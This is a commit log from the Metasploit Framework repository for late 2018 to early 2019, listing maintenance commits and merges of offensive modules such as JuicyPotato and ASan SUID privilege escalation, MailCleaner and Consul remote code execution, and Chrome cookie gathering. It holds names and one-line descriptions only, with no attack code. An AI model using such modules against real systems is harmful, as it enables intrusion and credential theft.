bwatters
0feab5520b
Land #13366 , Bump mettle 0.5.4
...
Merge branch 'land-11336' into upstream-master
2019-01-31 11:23:41 -06:00
Jeffrey Martin
5a63e629e4
update payload sizes for mettle 0.5.4
2019-01-31 00:12:45 -06:00
Jeffrey Martin
153d54eb1d
bump mettle gem for liblinenoise / console update
2019-01-31 00:06:27 -06:00
William Vu
70cc03b707
Land #11329 , sessions -k range fix
2019-01-30 11:26:47 -06:00
Brent Cook
2ee7256342
Land #11332 , Add support for mettle debug
2019-01-30 11:05:45 -06:00
bwatters
2e7a71ee9b
Add support for mettle debug
2019-01-29 15:13:44 -06:00
Jeffrey Martin
4e0ea64c96
Land #11330 , Fix HTTP/SMB mixin order to restore SSL option
2019-01-29 11:19:38 -06:00
William Vu
b7bc52d20b
Fix HTTP/SMB mixin order to restore SSL option
...
Mixin order matters. Mixins kinda suck.
2019-01-29 11:09:34 -06:00
Nash van Gool
4059a5f0c7
Changed range array building to correctly parse ranges using - or ..
...
Fixes #11328
2019-01-29 14:13:10 +01:00
Brent Cook
9fce991d8e
Land #11322 , report hostname and OS version for Cisco aux mixin
2019-01-29 05:28:34 -06:00
Brent Cook
96786f435c
Land #11315 , fix incorrect API usage of session_setup_clear
2019-01-29 05:26:07 -06:00
Brent Cook
61d677d9e0
Land #11327 , disable MSF5 development branch banner
2019-01-29 05:24:43 -06:00
Brent Cook
0e1576acbd
Land #11325 , bump mettle, fix MIPS targets and a few other memory issues
2019-01-29 05:22:26 -06:00
Brent Cook
1b9c7ef6ff
disable MSF5 development branch banner
2019-01-29 05:19:56 -06:00
bwatters
6c9a5b3fea
Update Cache Sizes
2019-01-28 15:53:19 -06:00
bwatters
966cb3ce6b
Update Gemfile.lock
2019-01-28 14:13:34 -06:00
bwatters
5289108acb
Update Gemspec
2019-01-28 14:13:00 -06:00
h00die
25d3695864
spec for cisco config eater with new host data
2019-01-27 21:10:01 -05:00
h00die
56de74b3d6
db cisco hostname and version
2019-01-27 20:33:19 -05:00
Matthew Kienow
d078fcd87c
Land #11270 , fix miscellaneous loot issues
2019-01-25 19:15:14 -05:00
James Barnett
e55f459b87
Update loot docs to clear up path re-write functionality
2019-01-25 16:55:01 -06:00
James Barnett
10f17dbbaa
Land #11299 , Enhance useability of msfdb script
2019-01-25 16:51:21 -06:00
James Barnett
b98133cded
Dont assign unique file name when theres no file on disk
2019-01-25 16:36:17 -06:00
Erin Bleiweiss
6802bee911
Update data service configuration message
2019-01-25 14:42:27 -06:00
James Barnett
27a0cbfcab
Rename file on disk when updating path attribute
2019-01-25 13:34:14 -06:00
Erin Bleiweiss
e6dc397516
Actually delete files on a web service delete
2019-01-25 13:15:49 -06:00
James Barnett
9e3a39bcf9
Dont try to process empty loot
2019-01-25 12:34:52 -06:00
Erin Bleiweiss
7c108a141d
Don't prompt to add a data service connection
2019-01-25 12:08:28 -06:00
Marian Gawron
91da35070d
updated smb-client to make it working again after being bugged for some time
2019-01-25 12:47:18 +01:00
Erin Bleiweiss
b497b88834
Update delete_existing_data to always be a boolean
2019-01-24 13:55:05 -06:00
Erin Bleiweiss
1fe205af12
Add command line option for data service name
2019-01-24 13:45:44 -06:00
Metasploit
9e06040efe
Bump version of framework to 5.0.3
2019-01-24 10:06:14 -08:00
William Vu
f0aa002009
Land #10119 , Linux post-exploitation metashell
2019-01-24 11:24:12 -06:00
William Vu
8cdcba81fe
Fix SessionTypes
2019-01-24 11:22:19 -06:00
William Vu
006faa3d17
Fix prompt
2019-01-24 11:21:45 -06:00
William Vu
8b6807254b
Fix whoami
2019-01-24 10:57:53 -06:00
Erin Bleiweiss
424c249200
Use rex for color output
2019-01-23 17:21:07 -06:00
Erin Bleiweiss
b3b7d5205b
Don't regenerate SSL unless the user said to so do
2019-01-23 16:08:15 -06:00
Adam Cammack
f04c2537f6
Land #11305 , Add default to wordlist.to_file()
2019-01-23 15:20:10 -06:00
Adam Cammack
a96660847f
Land #11303 , Add Post::Linux::Kernel.cpu_flags
2019-01-23 15:10:42 -06:00
Adam Cammack
459a7e490e
Land #11271 , Resource scripting for command shells
2019-01-23 15:04:05 -06:00
Jeffrey Martin
fa7c7fc956
keep wordlist.to_file() backwords compatible
2019-01-23 10:52:49 -06:00
Brendan Coles
9ecd22e63c
Add Msf::Post::Linux::Kernel.cpu_flags
2019-01-23 11:35:38 +00:00
Erin Bleiweiss
0bd21e9ba1
Skip prompts with new use-defaults option
2019-01-22 16:26:29 -06:00
Shelby Pace
2ae6142de7
Land #11243 , Add ASan SUID Privesc
2019-01-22 15:50:53 -06:00
Erin Bleiweiss
9ecc4b9d1c
Simplify bash colors
2019-01-22 13:56:02 -06:00
Erin Bleiweiss
3e949a49c7
Skip attempts to restart database on failures
2019-01-22 13:55:06 -06:00
sinn3r
0b109ae1bd
Land #11275 , Fix a typo in command_dispatcher/core.rb
...
Fix typo of "architectures" in pivot command help
2019-01-22 11:58:26 -06:00
Wei Chen
2a9b65e845
Land #11268 , set AndroidWakelock=true by default
2019-01-22 11:56:37 -06:00
sinn3r
fae1b52115
Land #11297 , Fix a typo in auxiliary/dos/scada/allen_bradley_pccc
...
typo fixed
2019-01-22 11:41:29 -06:00
Wei Chen
1b674a6bb5
Land #11272 , Tempfile over Rex for info -d for better cleanup
2019-01-22 11:38:41 -06:00
William Vu
404b14b6e2
Land #11287 , corrected attibution for blueman
2019-01-22 11:13:40 -06:00
William Vu
442ce7317f
Commit missed Rex::Quickfile line
2019-01-22 10:40:09 -06:00
jdiog0
23e0389bf0
typo fixed
2019-01-22 13:33:24 +00:00
Brendan Coles
060d20694d
Attribution
2019-01-20 09:18:43 +00:00
Brendan Coles
444555d3be
Land #11261 , Add maximum word length to JtR wordlist generation
2019-01-20 04:14:57 +00:00
Brendan Coles
e98c4ae2a4
Land #11284 , Fix WMAP plugin report_web_site to report to a workspace
2019-01-20 00:29:00 +00:00
Thibault Miranda de Oliveira
3b4a7276c1
Pass down workspace too report_web_site
2019-01-19 22:08:28 +01:00
James Barnett
14840f27b5
Land #11277 , Fix failing Msf::DbManager::Cred tests when using a REMOTE_DB
2019-01-18 16:12:22 -06:00
Erin Bleiweiss
60a69f086b
Refactor web service status methods
2019-01-18 12:40:49 -06:00
Matthew Kienow
35f95e4b04
Update test for new cred methods
...
Correct remote data service test behavior.
2019-01-18 12:34:29 -05:00
William Vu
f8af9a9e4d
Merge remote-tracking branch 'upstream/master' into pr/10119
2019-01-18 10:43:34 -06:00
Metasploit
c808cbe050
Bump version of framework to 5.0.2
2019-01-17 20:41:51 -08:00
William Vu
80e70a145d
Fix typo of "architectures" in pivot command help
2019-01-17 20:16:43 -06:00
h00die
bf949b7fd2
land #11236 openapi doc typos
2019-01-17 19:56:54 -05:00
William Vu
e488cf4a37
Prefer Tempfile over Rex::Quickfile for info -d
...
Rex::Quickfile undefines Tempfile's finalizer, preventing cleanup.
2019-01-17 13:58:03 -06:00
William Vu
a5a8c88a6e
Implement resource scripting for command shells
2019-01-17 13:39:03 -06:00
William Vu
b412bb3136
Land #11267 , RHOST fix for ms17_010_psexec
2019-01-17 13:24:56 -06:00
Erin Bleiweiss
309437c9bc
Remove accidental debug statement
2019-01-16 17:21:12 -06:00
Erin Bleiweiss
1c4ebec0e9
Fix merge conflict
2019-01-16 17:13:45 -06:00
Erin Bleiweiss
1975bbf160
Add password option to prompt
2019-01-16 17:01:09 -06:00
Erin Bleiweiss
49fd266442
Add colors and formatting
2019-01-16 15:40:59 -06:00
Erin Bleiweiss
0b37214123
Simplify deletion-related questions in msfdb
2019-01-16 15:40:50 -06:00
James Barnett
4b87d54430
Add comment explaining why we prevent loot.data update
2019-01-16 15:29:27 -06:00
Erin Bleiweiss
f49acae86a
Land #11262 , Make msfdb rackup file independent of framework dir location
2019-01-16 15:25:32 -06:00
James Barnett
fd6527bac8
Prepend loot filenames with unique string
...
This should help prevent accidentally overwriting files with the same name
2019-01-16 15:20:41 -06:00
Jacob Robles
2b36491d38
Land 11269, fix java_deserialization_spec check
2019-01-16 11:00:11 -06:00
James Barnett
705c269d27
Handle empty data values for loot
2019-01-16 10:59:07 -06:00
Wei Chen
0051caf6ce
Update java_deserialization_spec to rescue the right exception
2019-01-16 10:47:52 -06:00
James Barnett
ffada8147e
Update loot API docs
2019-01-16 10:42:00 -06:00
James Barnett
d6462fed63
Dont allow users to update loot.data
2019-01-16 10:01:22 -06:00
Clément Notin
31a7b13c19
ms17_010_psexec: fix RHOST in "authenticating..." message
2019-01-16 11:23:21 +01:00
Brent Cook
1947bae45b
Land #11230 , add JuicyPotato local privilege escalation
2019-01-15 21:20:25 -06:00
Brent Cook
4f7bdc7da1
add module docs
2019-01-15 21:17:05 -06:00
William Vu
06de16a36f
Merge remote-tracking branch 'upstream/master' into pr/10119
2019-01-15 18:33:48 -06:00
James Barnett
dc7d611780
Base64 encode the data field for each loot operation
2019-01-15 18:01:43 -06:00
Wei Chen
70c4e719c9
Land #11190 , fix multi line text in android send_sms
2019-01-15 17:18:37 -06:00
Wei Chen
27d6fffdad
Land #11125 , Import/generate ysoserial Java serialization objects
2019-01-15 17:09:56 -06:00
Wei Chen
85555b81c4
Update code for Ruby coding style standards
2019-01-15 17:08:54 -06:00
James Barnett
5c308b1448
Remove nested loot object from host JSON
...
The code on the framework side that was utilizing this was removed
a while ago. It was never actually being used anywhere, and was causing
issues with getting host objects back when the loot contained
non-UTF-8 characters
2019-01-15 16:45:04 -06:00
Erin Bleiweiss
81472b529c
Simplify deletion-related questions in msfdb
2019-01-15 16:06:10 -06:00
William Vu
3bf4726b15
Fix pid_uid
2019-01-15 14:34:29 -06:00
James Barnett
42c9553283
Dont do a separate lookup for loot.host, use the included JSON
...
This is just a temporary change. Eventually we should be doing separate
lookups for associated objects as that is the RESTful way of doing it.
Implementing this now to prevent extra load on the server until we can
put a better system in place of doing multiple lookups with a single call.
2019-01-15 12:47:37 -06:00
h00die
a73fe9433b
land #11169 blueman priv esc on linux
2019-01-15 10:32:46 -05:00
Jacob Robles
923a4ba098
Land #11263 , uppercase KoreLogic in JTR modules
2019-01-15 08:50:11 -06:00
Jacob Robles
c8db044a84
Land #11242 , fix Msf::Post::File #pwd output
2019-01-15 08:42:41 -06:00
Jacob Robles
9616a9f79d
Land #11245 , doc update for chrome_cookies
2019-01-15 07:27:35 -06:00
Jacob Robles
04363b7b7e
Doc update
...
post:chrome_cookies
2019-01-15 07:19:46 -06:00
h00die
93f66a1f22
uppercase
2019-01-15 08:04:11 -05:00
Matthew Kienow
c1fe334006
Remove unused code
2019-01-14 23:30:48 -05:00
Matthew Kienow
7f20c75cb3
Use static rackup file from framework directory
2019-01-14 23:30:48 -05:00
Matthew Kienow
e7e0503f3e
Add Metasploit data web service rackup file
2019-01-14 23:30:47 -05:00
h00die
4d847e97fc
... over -1
2019-01-14 22:41:11 -05:00
h00die
509b4e979d
max_length -1
2019-01-14 22:28:46 -05:00
h00die
2c02dbc8a6
add max_length to wordlist generation
2019-01-14 22:20:33 -05:00
Green-m
d8515ba056
Land #11255 , Assign CVE number to spark unauth rce
2019-01-15 11:17:37 +08:00
bcoles
8c636f27d5
Update check method to confirm vulnerability
2019-01-15 11:31:31 +11:00
asoto-r7
72d3f6538e
Updated ysoserial_payloads.json cache
2019-01-14 17:43:27 -06:00
asoto-r7
ddd9ab2041
Fixed an off-by-one error in the fingerprinting randomization
2019-01-14 17:42:59 -06:00
bcoles
4dc3562046
Update installation notes
2019-01-15 10:41:03 +11:00
James Barnett
e168458861
Make calls to get the associated host when getting loot
2019-01-14 15:51:51 -06:00
Wei Chen
47f8738f74
Add Imran Rashid to CVE-2018-11770 credit
2019-01-14 15:28:08 -06:00
Wei Chen
52ff0a8b75
Update exploits/linux/http/spark_unauth_rce as CVE-2018-11770
2019-01-14 15:10:29 -06:00
James Barnett
3f9c0e160a
Merge branch 'master' into fix_misc_loot_bugs
2019-01-14 11:15:06 -06:00
Alex
bd94675b33
Update documentation for post/multi/gather/chrome_cookies
2019-01-13 14:31:07 +11:00
Brendan Coles
fe1f654659
Add documentation
2019-01-12 09:15:36 +00:00
Brendan Coles
c6f4eda7f9
Add ASan SUID Executable Privilege Escalation module
2019-01-12 09:14:20 +00:00
Brendan Coles
2543d60465
Use 'to_s.strip' for Msf::Post::File.pwd output
2019-01-12 08:47:23 +00:00
phra
e69d509bdf
chore: update description and ranking
2019-01-12 04:32:21 +01:00
phra
3a865a0c05
feat: spawn as NT AUTHORITY\SYSTEM
2019-01-12 04:03:26 +01:00
phra
9789547fe7
build: recompile dlls
2019-01-12 04:02:34 +01:00
phra
e6f89a38e7
chore: update juicy potato reflective DLL source to latest
2019-01-12 04:02:13 +01:00
William Vu
e9a8d5708a
Land #11234 , @bcoles revisionism
2019-01-11 20:15:34 -06:00
asoto-r7
3a48282138
ysoserial: Updated JSON
2019-01-11 16:56:52 -06:00
Matthew Kienow
a13be3d226
Correct description typo
2019-01-11 13:20:32 -05:00
Matthew Kienow
6cec3e3b80
Add missing slash character
2019-01-11 13:19:15 -05:00
phra
8e50838e62
build: recompile dlls
2019-01-11 18:22:13 +01:00
phra
149f895329
feat: add LOGFILE support for debug
2019-01-11 18:21:54 +01:00
Brendan Coles
a575c6d7c3
revisionism
2019-01-11 16:52:26 +00:00
phra
953b97def1
build: recompile dlls
2019-01-11 16:29:15 +01:00
phra
dca99552e6
feat: pass payload length to the dll
2019-01-11 16:28:49 +01:00
phra
944bda316e
feat: execute shellcode in the dll
2019-01-11 16:28:30 +01:00
phra
7653d64c4a
fix: improve exploit check
2019-01-11 15:38:57 +01:00
Brendan Coles
24f807490f
revisionism
2019-01-10 19:19:14 +00:00
Erin Bleiweiss
d18c6bd158
Land #11188 , Correct authentication logic in host and event servlets
2019-01-10 13:09:26 -06:00
Brent Cook
9f8bac59f7
Land #11215 , success
2019-01-10 12:57:46 -06:00
Brent Cook
aaaca59c19
Land #11233 , update MSFv5 banner
2019-01-10 12:56:03 -06:00
Brent Cook
86850e7062
Land #11217 , fix syntax and logic errors in badpdf module
2019-01-10 12:52:08 -06:00
James Barnett
810165522f
WIP: update loot api docs
2019-01-10 12:45:28 -06:00
Matthew Kienow
8f746cd6ae
Update MSF v5 banner for MSF5 release
2019-01-10 13:39:57 -05:00
Erin Bleiweiss
5d92774a1d
Land #11232 , Update msfdb to obtain msf config directory dynamically
2019-01-10 12:08:18 -06:00
Metasploit
16f152f6e3
Bump version of framework to 5.0.1
2019-01-10 09:41:50 -08:00
James Barnett
65f127a66f
Land #11222 , Display error when update operation has invalid fields
2019-01-10 11:33:22 -06:00
Matthew Kienow
97f57cd96a
Get MSF config root dir rather than a fixed value
2019-01-10 12:29:08 -05:00
Erin Bleiweiss
0435d7e1d6
Return the updated objects
2019-01-10 11:04:42 -06:00
phra
cb03ffaa28
chore: update juicy potato reflective DLL source to latest
2019-01-10 18:00:34 +01:00
Erin Bleiweiss
5055e421f5
Add ! to cred update
2019-01-10 10:56:28 -06:00
Erin Bleiweiss
0ad89528ea
Update pattern for creds
2019-01-10 10:55:36 -06:00
sinn3r
74330f87dc
Land #11223 - ueb priv esc suggestion
...
ueb priv esc suggestion.
2019-01-10 10:35:28 -06:00
Brent Cook
f125526e09
Land #11207 , implement db_import for web service
2019-01-10 10:28:29 -06:00
phra
dc2d3c5774
feat: add juicy potato post module, fixes #11229
2019-01-10 17:20:43 +01:00
phra
5f244643bd
feat: add compiled reflective DLL for juicy potato
2019-01-10 17:20:21 +01:00
phra
f3c40b615e
chore: add juicy potato reflective DLL source code
2019-01-10 17:19:33 +01:00
Brent Cook
d686303cff
Land #11228 , Move msfdb_ws to tools/dev since it is deprecated by msfdb
2019-01-10 09:28:34 -06:00
Brent Cook
86d95a0eb4
Land #11225 , Quiet the HTTP data service
2019-01-10 09:23:04 -06:00
Jacob Robles
2f939481e7
Land #11206 , add coldfusion ckeditor file upload
2019-01-10 07:27:38 -06:00
Jacob Robles
de65d98f2c
Land #11226 , typo fixes in cisco_firepower_useradd
2019-01-10 06:51:43 -06:00
Jacob Robles
8ebbd9eeea
Remove extra new lines
2019-01-10 06:44:22 -06:00
Jacob Robles
33b8735d1c
Add doc coldfusion_ckeditor_file_upload
2019-01-10 06:40:38 -06:00
Jacob Robles
b81f59e7b1
Fix targets and syntax changes
2019-01-10 06:39:45 -06:00
Charlie van Rantwijk
97dbade2e6
typo fixes in cisco_firepower_useradd.md
2019-01-10 10:47:53 +01:00
James Barnett
4074913b60
Dont log every request when using HTTP data service
2019-01-10 00:30:54 -06:00
James Barnett
43f8a543e1
Land #11213 , enable starting JSONRPC server from msfrpcd
2019-01-09 23:37:47 -06:00
Brendan Coles
fd65d65702
Land #11200 , Update GitHub PR template to ask for a unique branch
2019-01-10 05:41:16 +00:00
Matthew Kienow
c3f71a1692
Update Rspec expected thread count
...
When REMOTE_DB is set there is a thread for the web service, in
addition to the External modules thread manager, so there is one or two
threads by the end of the test run in addition to the main VM thread.
2019-01-09 23:56:16 -05:00
Matthew Kienow
5e28bccda9
Move msfdb_ws since it is deprecated by msfdb
2019-01-09 23:40:02 -05:00
h00die
799a79b715
ueb priv esc suggestion
2019-01-09 20:28:53 -05:00
Matthew Kienow
0350d87ee4
Add background process ID output
2019-01-09 17:42:57 -05:00
Matthew Kienow
b544125f50
Refactor JSON-RPC related variables
...
Dynamically get MSF config root directory rather than a fixed value.
2019-01-09 17:19:15 -05:00
Matthew Kienow
a465d09110
Update JSON-RPC URI output to fixed version v1
2019-01-09 16:00:45 -05:00
Matthew Kienow
a2aac31eff
Correct typo in variable name
2019-01-09 15:48:40 -05:00
Matthew Kienow
f636982b09
Land #11211 , change db_connect persistence logic
2019-01-09 15:11:08 -05:00
William Vu
913c80c352
Land #11106 , Allen-Bradley legacy protocol DoS
2019-01-09 12:12:02 -06:00
William Vu
0f156140fe
Clean up module
2019-01-09 12:11:50 -06:00
Jacob Robles
307cc8c107
fix comment
2019-01-09 11:12:51 -06:00
Jacob Robles
984ff284ac
Land #11199 , update joomla wordlists
2019-01-09 10:07:09 -06:00
Clément Notin
cf1b4b43cb
auxiliary/fileformat/badpdf: fix syntax and logic error in options handling
2019-01-09 14:30:24 +01:00
Jacob Robles
0c984fa232
Fix messages /successfuly/successfully
2019-01-09 06:32:22 -06:00
Matthew Kienow
e83e1b23bd
Add support for starting JSON-RPC server
2019-01-08 22:40:15 -05:00
Matthew Kienow
b6cfb5f697
Add Msf::Util::ServiceHelper class
2019-01-08 22:39:26 -05:00
James Barnett
f77eab1522
Land #11180 , add search and filter options to session-events API endpoint
2019-01-08 16:39:34 -06:00
Matthew Kienow
e71aac715b
Move common parameter information to RootApiDoc
2019-01-08 17:20:13 -05:00
Matthew Kienow
48c3f1c92d
Fix typo
2019-01-08 17:11:01 -05:00
James Barnett
a2548fe92d
Only lookup db connections by name
...
Matching on all attributes was causing issues when the connection
criteria would change for a db service at a host that already existed.
It would find the existing connection and load that outdated connection
and fail to connect.
The new functionality will save a new, valid connection with a randomly
generated name, unless the -n flag is specified to overwrite an existing
connection.
2019-01-08 15:21:14 -06:00
Jacob Robles
16b8cf7059
Land #11148 , Adding Module MailCleaner RCE
2019-01-08 14:10:31 -06:00
Jacob Robles
a0acfa79d7
Target payloads
2019-01-08 13:27:26 -06:00
Jacob Robles
5f8d8c3637
Update doc
2019-01-08 13:25:13 -06:00
Matthew Kienow
84a8c9b638
Minor method comment change
2019-01-08 14:02:40 -05:00
Matthew Kienow
3510a3daa2
Correct documentation errors
2019-01-08 14:02:40 -05:00
Matthew Kienow
c55ef72437
Update OpenAPI documentation for GET operation
2019-01-08 14:02:40 -05:00
Matthew Kienow
63c3404f64
Add test for session_events method
2019-01-08 14:02:40 -05:00
Matthew Kienow
8c29319b25
Add session_events method
2019-01-08 14:02:40 -05:00
Matthew Kienow
fa783256eb
Remove unnecessary argument default value
2019-01-08 14:02:39 -05:00
Matthew Kienow
d677eb16a9
Enhance session_events query
2019-01-08 14:02:32 -05:00
Matthew Kienow
d117e6a1d1
Land #11142 , use POST for API token generation
2019-01-08 11:59:30 -05:00
James Barnett
466b0004e1
Land #11163 , add API endpoint for retrieving Mdm::Events
2019-01-08 09:26:53 -06:00
Jacob Robles
c2da3dbbd3
Land #11052 , Add gather chrome cookies post module
2019-01-08 07:32:16 -06:00
Jacob Robles
8ca8206303
Update docs
2019-01-08 07:15:50 -06:00
Jacob Robles
a95384e288
Additional support and code cleanup
2019-01-08 06:57:56 -06:00
James Barnett
69ee3a4a26
Land #11187 , Conform LoginServlet to API standards
2019-01-07 17:03:39 -06:00
James Barnett
f23142c19c
Land #11183 , add authentication to LoginServlet endpoints
2019-01-07 17:02:31 -06:00
Erin Bleiweiss
cfa22bb4ec
Exclude key from VulnDetail update
2019-01-07 16:33:50 -06:00
Erin Bleiweiss
771469f4cd
Update all Mdm::xx.update() instances
2019-01-07 16:24:13 -06:00
Erin Bleiweiss
6641c606b2
Add support for db import from remote data service
2019-01-07 14:32:27 -06:00
James Barnett
02fda8625a
Address code review comments.
...
- Fix CSS on submit button
- Dont generate a new token when logging in to web form
- Also added text to account page to send the user to the login page when not logged in
2019-01-07 13:52:01 -06:00
William Vu
f96514528b
Land #10648 , auth bypass for couchdb_enum
2019-01-07 12:53:11 -06:00
William Vu
3a726554e9
Fix review comments
2019-01-07 12:51:52 -06:00
Qazeer
a63c057c3a
Integrate bcoles' comments (filename generation, conditional block improvement, etc.)
2019-01-06 22:50:46 +01:00
Qazeer
c03466d2f2
Fixed date format issue and added Bugtraq ID
2019-01-06 14:34:40 +01:00
Qazeer
4644ad8966
Add CVE-2018-15961 Adobe ColdFusion CKEditor unrestricted file upload
2019-01-06 04:55:20 +01:00
h00die
ed98fc8b71
update PR template to ask for unique branch
2019-01-04 21:53:25 -05:00
h00die
49b8552d59
update joomla wordlists
2019-01-04 21:38:49 -05:00
asoto-r7
ddebc291f2
Added partial 'ysoserial-modified' support, along with debug flags
2019-01-04 16:43:06 -06:00
asoto-r7
0ca4dd829e
Fixed an off-by-one error in fingerprinting string randomization
2019-01-04 16:31:43 -06:00
Matthew Kienow
b5c4ac6af3
Land #11113 , fixes for vuln and credential APIs
2019-01-04 17:05:12 -05:00
Metasploit
9ac96b213f
Weekly dependency update
2019-01-04 14:00:12 -08:00
James Barnett
101fbb7aa5
Address code review comments
2019-01-04 15:23:24 -06:00
James Barnett
83267d08e0
Update jquery version and use SRI
2019-01-04 15:23:24 -06:00
James Barnett
4bbf84b949
Update login test page to use POST for generate-token
2019-01-04 15:22:32 -06:00
James Barnett
4ea2c5bc49
Update msfdb to use POST generate-token
2019-01-04 15:22:32 -06:00
James Barnett
60681e4385
Use POST for token generation
2019-01-04 15:22:32 -06:00
James Barnett
1b29e17827
Dont array wrap refs
2019-01-04 15:10:21 -06:00
James Barnett
b875d391fc
WIP: updating ref lookup based on code review comments
2019-01-04 15:10:20 -06:00
James Barnett
5f43ec0a79
Address code review comment
2019-01-04 15:10:20 -06:00
James Barnett
81f877ad09
Remove doc references to Mdm::Module::Ref
...
It doesnt look like this ever gets set anywhere. Mdm::Vuln.refs
seems to have replaced it
2019-01-04 15:10:20 -06:00
James Barnett
0281ddf78c
Remove vuln_refs from Vuln JSON schema
...
This object is just a pointer between Vulns and refs. We don't need to surface it
2019-01-04 15:10:20 -06:00
James Barnett
10cceb0e9b
Fix a couple of bugs introduced by symbolizing to_ar
2019-01-04 15:10:20 -06:00
James Barnett
e9931fa70e
Fix bug when updating Mdm::Vuln.refs
2019-01-04 15:10:19 -06:00
James Barnett
bcfe434d1e
Update to_ar to use symbolized keys
2019-01-04 15:10:19 -06:00
Brent Cook
260bfdc071
Land #11195 , update travis to use latest rubygems
2019-01-04 06:00:39 -06:00
Jeffrey Martin
7faca5e4c5
update travis to use latest rubygems
...
By using the latest rubygems available bundler version
limits should become more compatible.
2019-01-03 13:50:48 -06:00
Adam Cammack
0d6ef39fac
Land #11194 , Pin Travis CI bundler to 1.17.3
2019-01-03 13:42:07 -06:00
Jeffrey Martin
3c123d93f9
set bundler version for travis for now
2019-01-03 13:23:16 -06:00
Tim W
f4e84da495
add comment
2019-01-03 18:00:06 +08:00
Brent Cook
e990bb31df
Land #11182 , bump mettle, change debug and background options
2019-01-03 02:57:19 -06:00
William Vu
cfec99b1a8
Land #11154 , tab completion for aux rerun/exploit
2019-01-02 18:44:04 -06:00
asoto-r7
c63c225c9c
Merge 'wchen-r7:pr11125' into 'asoto-r7:ysoserial-payloads'
2019-01-02 12:56:29 -06:00
Tim W
79c58cd786
fix #11158 , fix multi line text in android send_sms
2019-01-02 03:51:59 +08:00
Matthew Kienow
4fc65b39a1
Make position of warden call the same as others
...
Minor correction for consistent usage since a previous refactoring moved
the authenticate call into the begin block.
2018-12-31 16:38:26 -05:00
Matthew Kienow
7b22527f8f
Make error message use same language as others
2018-12-31 16:37:08 -05:00
Matthew Kienow
05d810ac23
Add support for GET with ID in the path
2018-12-31 15:46:00 -05:00
Matthew Kienow
0e56c30ab2
Use data object wrapper for JSON response
2018-12-31 15:43:16 -05:00
Alex
811605a9b8
Cleanup headless Chrome process for meterpreter sessions
2018-12-30 18:05:41 +11:00
Metasploit
e1c6799076
automatic module_metadata_base.json update
2018-12-29 02:22:55 -08:00
Brendan Coles
5957315167
Land #11141 , Ensure Byte XORi Encoder uses cacheflush()
2018-12-29 10:20:07 +00:00
Brendan Coles
005b2664b8
Land #11140 , Ensure MIPS Long XOR Encoder uses cacheflush()
2018-12-29 10:14:47 +00:00
bwatters
9e109c7e7c
Update cache size
2018-12-28 16:08:15 -06:00
bwatters
c6e83d109d
Update Gemfile.lock with mettle 0.5.1
2018-12-28 15:45:33 -06:00
bwatters
f81c11bbe5
Update gemspec to mettle 0.5.1
2018-12-28 15:44:42 -06:00
Matthew Kienow
66d0ffd602
Correct documentation error
2018-12-28 16:30:23 -05:00
Matthew Kienow
12f4222b2e
Fix to ensure authentication
2018-12-28 16:29:33 -05:00
Metasploit
2418dcf6aa
automatic module_metadata_base.json update
2018-12-28 07:22:50 -08:00
Shelby Pace
29e7c49332
Land #10444 , add Consul rexec RCE module
2018-12-28 09:14:28 -06:00
Shelby Pace
b1ad271cb8
fixed link
2018-12-28 09:12:31 -06:00
Metasploit
8cfc16ce4e
automatic module_metadata_base.json update
2018-12-28 06:50:05 -08:00
Shelby Pace
fb8f06b2f5
Land #10443 , add Consul service RCE module
2018-12-28 08:33:56 -06:00
Matthew Kienow
8361dab983
Minor method comment change
2018-12-27 21:57:31 -05:00
Metasploit
a7e44e39f1
Weekly dependency update
2018-12-27 10:05:39 -08:00
Brent Cook
66505790f9
Land #11179 , Replace Sysrandom with Ruby default SecureRandom
2018-12-27 11:33:29 -06:00
Matthew Kienow
34e99c3857
Modify GET error message to match other servlets
2018-12-26 22:45:33 -05:00
Brent Cook
0d0356ccdd
Land #11126 , Update sessions through the DBManager
2018-12-26 13:15:43 -06:00
Matthew Kienow
ebc7a3a315
Replace sysrandom with ruby default securerandom
2018-12-26 13:40:44 -05:00
Wei Chen
f5210abb55
Add rspec
2018-12-26 11:18:44 -06:00
Mehmet İnce
4e8ad22a7a
Adding CVE number
2018-12-26 13:15:36 +03:00
Metasploit
10be720843
automatic module_metadata_base.json update
2018-12-25 19:45:11 -08:00
Green-m
69e7956adf
Land #11174 , Fix platform bug when upgrade shell.
...
The platform on windows powershell should be 'win', rather than
'windows', this bug leads to failure when upgrade powershell session
to meterpreter.
2018-12-26 11:31:39 +08:00
Mehmet İnce
fa542b9691
Adding platform and arch to top level
2018-12-25 15:56:25 +03:00
L
ee7120d63a
fixed post/multi/manage/shell_to_meterpreter
2018-12-25 15:00:39 +08:00
Quentin Kaiser
53a3caba2b
List the vulnerable application and versions affected + cleaner cleanup script.
2018-12-24 13:54:02 +01:00
Quentin Kaiser
18c844623a
Remove extra spaces.
2018-12-24 13:48:07 +01:00
Quentin Kaiser
b9d4a46972
And the output that corresponds to the new script.
2018-12-24 13:42:25 +01:00
Quentin Kaiser
46ee2a6c94
Add vulnerable version information + new reference regarding this exact vulnerability.
2018-12-24 13:40:12 +01:00
Quentin Kaiser
e10792f4e6
Remove extra space.
2018-12-24 13:30:03 +01:00
Brendan Coles
fc691af5b1
\n
2018-12-24 08:08:16 +00:00
Brendan Coles
98dc59728e
Add blueman set_dhcp_handler D-Bus Privilege Escalation
2018-12-24 08:03:55 +00:00
Green-m
12a948dde5
Move down cmd_rerun to fix rspec issue.
2018-12-24 11:30:02 +08:00
@shellfail
e6b2b6cee5
Update documentation/modules/exploit/linux/http/mailcleaner_exec.md
...
Co-Authored-By: mmetince <mmetince@users.noreply.github.com >
2018-12-22 23:16:51 +03:00
@shellfail
9a43507416
Update documentation/modules/exploit/linux/http/mailcleaner_exec.md
...
Co-Authored-By: mmetince <mmetince@users.noreply.github.com >
2018-12-22 23:16:43 +03:00
Matthew Kienow
bad8176548
Change event info example specification
...
Allows API documentation to display the event model example correctly.
2018-12-21 22:24:59 -05:00
Matthew Kienow
e9d40248f4
Add OpenAPI documentation for events GET operation
2018-12-21 22:24:20 -05:00
Matthew Kienow
ff8c70f6af
Restore events test for remote DB
2018-12-21 22:19:09 -05:00
Matthew Kienow
b5bc65c3bd
Add GET handler to query events
2018-12-21 22:18:10 -05:00
Matthew Kienow
a448b26f73
Remove unnecessary argument default value
2018-12-21 22:13:52 -05:00
Matthew Kienow
5e971132f3
Enhance events method to fully query events
2018-12-21 22:07:43 -05:00
Matthew Kienow
7e10b38421
Add events method
2018-12-21 21:37:42 -05:00
Metasploit
a457973702
automatic module_metadata_base.json update
2018-12-21 15:14:24 -08:00
Brent Cook
b9742802aa
Land #11137 , Clean up linux/local/vmware_alsa_config exploit module
2018-12-21 17:04:11 -06:00
Brent Cook
af60cb642e
